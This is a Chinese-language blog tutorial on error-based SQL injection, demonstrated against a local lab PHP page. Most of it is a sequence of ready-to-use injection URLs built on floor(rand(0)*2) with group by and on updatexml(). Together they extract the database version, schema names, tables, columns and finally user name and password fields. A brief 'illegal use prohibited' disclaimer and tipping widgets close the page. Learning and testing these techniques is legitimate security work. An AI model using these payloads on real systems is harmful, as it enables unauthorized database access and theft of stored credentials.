报错注入

不是我不想,你上学我上班,我耽误你前程似锦,你耽误我成家立业,我的眼里都是烟花和生活,你的眼里都是未来和希望。。。

----  网易云热评

一、相关函数

1、rand():产生一个0-1之间随机数,rand(0),随机产生一个0-1的随机数,运行多次产生的结果一样

2、floor():向下取整,floor(rand()*2),随机产生0和1两个数

3、group by:分组排列

4、count(*):统计数量

5、concat():将字符串连接起来

 

 

 

二、通过floor()函数构造注入语句

1、访问http://192.168.0.104/aiyou/bczr.php?id=2,返回正常页面

2、访问http://192.168.0.104/aiyou/bczr.php?id=2',返回错误页面

3、构造闭合语句,192.168.0.104/aiyou/bczr.php?id=2' --+,页面返回正常

4、获取数据库版本

192.168.0.104/aiyou/bczr.php?id=2' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(version()))x from information_schema.tables group by x )a) --+

 

5、获取数据库名称

192.168.0.104/aiyou/bczr.php?id=2' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,database(),0x23)x from information_schema.tables group by x )a) --+

 

6、获取其他数据库名称(修改红色数字,获取不同数据库名)

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

 

7、获取表名(修改红色数字,获取不同表名)

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

 

8、获取字段名,需要指定表名,表名用十六进制表示,修改红色数字获取不同字段

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

 

9、获取字段内容

http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,name,0x3a,pass,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

--+

 

三、通过updatexml函数构造注入语句

1、获取数据库名称(通过修改红色数字获取不同的数据库名称)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 5,1),1) -- +

2、获取表名(通过修改红色数字获取不同的表名)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='jay' limit 1,1),1) -- +

3、获取字段名(通过修改红色数字获取不同的字段)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x75736572 limit 1,1),1) -- +

4、获取字段内容(修改红色数字,获取不同字段内容)

http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, pass,0x7e,name,0x7e) from user limit 1,1),1) -- +

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

web安全工具库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值